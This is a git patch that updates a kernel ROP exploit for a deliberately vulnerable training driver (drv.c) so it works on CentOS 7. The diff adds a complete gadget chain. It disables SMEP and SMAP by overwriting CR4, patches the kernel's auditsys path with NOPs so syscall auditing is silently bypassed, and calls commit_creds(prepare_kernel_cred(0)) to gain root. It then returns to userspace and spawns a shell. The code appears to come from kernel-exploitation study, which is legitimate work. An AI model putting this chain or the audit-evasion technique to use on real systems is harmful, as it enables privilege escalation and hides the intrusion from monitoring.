From 5564505b57f245a5a18a6bd309a0e580f66a09cb Mon Sep 17 00:00:00 2001 From: Andrey Arapov Date: Sun, 4 Sep 2016 11:03:15 +0200 Subject: [PATCH] centos7: bypass audit, SMEP, SMAP --- Makefile | 1 + rop_exploit.c | 154 +++++++++++++++++++++++++++++++++++++++----------- 2 files changed, 121 insertions(+), 34 deletions(-) diff --git a/Makefile b/Makefile index 426ddb0..7d55d99 100644 --- a/Makefile +++ b/Makefile @@ -3,6 +3,7 @@ obj-m += drv.o CC=gcc ccflags-y += "-g" ccflags-y += "-O0" +ccflags-y += "-ggdb" all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules diff --git a/rop_exploit.c b/rop_exploit.c index 51e10fe..b656822 100644 --- a/rop_exploit.c +++ b/rop_exploit.c @@ -1,10 +1,18 @@ -/** +/** * ROP exploit for drv.c kernel module * + * Tested in: + * Linux 3.10.0-327.28.3.el7.x86_64 - CentOS Linux release 7.2.1511 (Core) + * qemu 2.5.0 / i7-4500U + * + * Compile: * gcc rop_exploit.c -O2 -o rop_exploit * - * Email: vnik@cyseclabs.com - * Vitaly Nikolenko + * Email: andrey.arapov@nixaid.com + * Andrey Arapov + * + * Based on Vitaly Nikolenko's work: + * https://github.com/vnik5287/kernel_rop/ */ #define _GNU_SOURCE @@ -32,7 +40,9 @@ static void save_state() { "movq %%ss, %1\n" "pushfq\n" "popq %2\n" - : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" ); + : "=r" (user_cs), + "=r" (user_ss), + "=r" (user_rflags) : : "memory"); } void shell(void) { @@ -58,44 +68,114 @@ int main(int argc, char *argv[]) return -1; } + /* + * req.offset + * when xchg_esp_eax_ret_N_rop_gadget % 8 == 0, + * req.offset = ( (1 << 64) + ((xchg_esp_eax_ret_N_rop_gadget - base_addr)/8) ) + */ req.offset = strtoul(argv[1], NULL, 10); - base_addr = strtoul(argv[2], NULL, 16); - - printf("array base address = 0x%lx\n", base_addr); - stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff; - fprintf(stdout, "stack address = 0x%lx\n", stack_addr); + base_addr = strtoul(argv[2], NULL, 16); // address of ops driver structure - mmap_addr = stack_addr & 0xffff0000; - assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr); - assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000); - - save_state(); - fake_stack = (unsigned long *)(stack_addr); - *fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */ + printf("array base address = 0x%lx\n", base_addr); - fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8); + stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff; + fprintf(stdout, "stack address = 0x%lx\n", stack_addr); - *fake_stack ++= 0x0UL; /* NULL */ - *fake_stack ++= 0xffffffff81095430UL; /* prepare_kernel_cred() */ + /* + * allocate space in memory where the fake_stack will be stored. + */ + mmap_addr = stack_addr & 0xffff0000; // clear last 4 hex's + mapped = mmap((void*)mmap_addr, 0x20000, + PROT_EXEC|PROT_READ|PROT_WRITE, + MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); + assert(mapped == (void*)mmap_addr); - *fake_stack ++= 0xffffffff810dc796UL; /* pop %rdx; ret */ - //*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */ - *fake_stack ++= 0xffffffff81095196UL; // commit_creds() + 2 instructions + temp_stack = mmap((void*)0x30000000, 0x10000000, + PROT_EXEC|PROT_READ|PROT_WRITE, + MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); + assert(temp_stack == (void*)0x30000000); - *fake_stack ++= 0xffffffff81036b70UL; /* mov %rax, %rdi; call %rdx */ - - *fake_stack ++= 0xffffffff81052804UL; // swapgs ; pop rbp ; ret - *fake_stack ++= 0xdeadbeefUL; // dummy placeholder - - *fake_stack ++= 0xffffffff81053056UL; /* iretq */ - *fake_stack ++= (unsigned long)shell; /* spawn a shell */ - *fake_stack ++= user_cs; /* saved CS */ - *fake_stack ++= user_rflags; /* saved EFLAGS */ - *fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */ - *fake_stack ++= user_ss; /* saved SS */ + save_state(); // this state will be used when returning back to user-space from kernel-space + // fake_stack begins here + fake_stack = (unsigned long *)(stack_addr); + *fake_stack ++= 0xffffffff8107c2c4UL; /* pop %rdi; ret */ + + /* + * In reality 0x14ff was 0x9d57: + * $ grep 0x14ff $(uname -r).gadgets + * 0xffffffff810e03d8 : xchg eax, esp ; ret 0x14ff + * + * $ sudo gdb /boot/vmlinuz-$(uname -r) /proc/kcore + * (gdb) x/2i 0xffffffff810e03d8 + * 0xffffffff810e03d8: xchg %eax,%esp + * 0xffffffff810e03d9: retq $0x9d57 + */ + + // Update fake_stack's pointer + fake_stack = (unsigned long *)(stack_addr + 0x9d57 + 8); + + /* + * Disable SMEP and SMAP (20 and 21st bit of CR4 respectively) + * CR4 should be => $CR4 % 0x300000 + * + * $ cat 3.10.0-327.28.3.el7.x86_64.rop |grep -E ': pop rdi ; ret$|: mov cr4, rdi' + * 0xffffffff8100328d : mov cr4, rdi ; pop rbp ; ret + * 0xffffffff8107c2c4 : pop rdi ; ret + * + */ + *fake_stack ++= 0x6f0UL; // disabled SMEP and SMAP + *fake_stack ++= 0xffffffff8100328dUL; // (Intel) mov cr4, rdi ; pop rbp ; ret + *fake_stack ++= 0xdeadbeefUL; // dummy + + /* + * Circumvent Linux Audit system. + * bypass syscall audit configuration without fully disabling Linux Audit system. + * + * /proc/kallsyms: + * ffffffff81646c0f t auditsys + * ffffffff8110b940 T __audit_syscall_entry + * + * $ objdump -D vmlinux |grep -A1 -B1 ffffffff81646c1e + * ffffffff81646c1b: 48 89 c7 mov %rax,%rdi + * ffffffff81646c1e: e8 1d 4d ac ff callq 0xffffffff8110b940 <-- auditsys+15 calls __audit_syscall_entry + * ffffffff81646c23: 4c 8b 1c 24 mov (%rsp),%r11 + */ + + *fake_stack ++= 0xffffffff81077cb7UL; // pop %rdx; ret + *fake_stack ++= 0x9090909090909090UL; // rdx is: NOP (will be used to overwrite auditsys's callq __audit_syscall_entry) + *fake_stack ++= 0xffffffff8107c2c4UL; // pop %rdi; ret + *fake_stack ++= 0xffffffff81646c1eUL; // rdi is: auditsys+15 (0xffffffff81646c1e: callq 0xffffffff8110b940) + *fake_stack ++= 0xffffffff812fc0a6UL; // mov qword ptr [rdi], rdx ; ret (overwrite) + + + /* + * To switch our process's owner to root, it is enough to execute: + * commit_creds(prepare_kernel_cred(0)) syscalls + * rdx(rax(0)) + */ + *fake_stack ++= 0xffffffff8107c2c4UL; // pop %rdi; ret + *fake_stack ++= 0x0UL; // rdi is NULL + *fake_stack ++= 0xffffffff810acc60UL; // prepare_kernel_cred() and $rax points to cred struct + + *fake_stack ++= 0xffffffff81077cb7UL; // pop %rdx; ret + // *fake_stack ++= 0xffffffff810ac950UL; // commit_creds() + *fake_stack ++= 0xffffffff810ac956UL; // commit_creds() + 2 instructions + + *fake_stack ++= 0xffffffff81016d77UL; // mov %rax, %rdi; call %rdx => calls commit_creds(prepare_kernel_cred(0)) + + + // safely return to user-space from the kernel-space + *fake_stack ++= 0xffffffff81058ef4UL; // swapgs ; pop rbp ; ret + *fake_stack ++= 0xdeadbeefUL; // dummy placeholder + + *fake_stack ++= 0xffffffff81059856UL; // iretq + *fake_stack ++= (unsigned long)shell; // spawn a shell + *fake_stack ++= user_cs; // saved CS + *fake_stack ++= user_rflags; // saved EFLAGS + *fake_stack ++= (unsigned long)(temp_stack+0x5000000); // mmaped stack region in user space + *fake_stack ++= user_ss; // saved SS - //map = mmap((void *)..., ..., 3, 0x32, 0, 0); fd = open(DEVICE_PATH, O_RDONLY); @@ -103,7 +183,13 @@ int main(int argc, char *argv[]) perror("open"); } + /* + * trigger the vulnerable Linux kernel driver now, + * pointing to our fake_stack + */ ioctl(fd, 0, &req); return 0; } + +// vim: set list noexpandtab tabstop=4 shiftwidth=4 softtabstop=4